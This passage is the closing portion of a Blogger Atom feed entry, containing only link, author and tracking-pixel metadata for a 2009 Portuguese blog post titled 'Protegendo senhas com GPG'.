class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-6459461911859351994?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/6459461911859351994/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=6459461911859351994&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6459461911859351994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6459461911859351994'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/02/protegendo-senhas-com-gpg.html' title='Protegendo senhas com GPG'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry></feed>
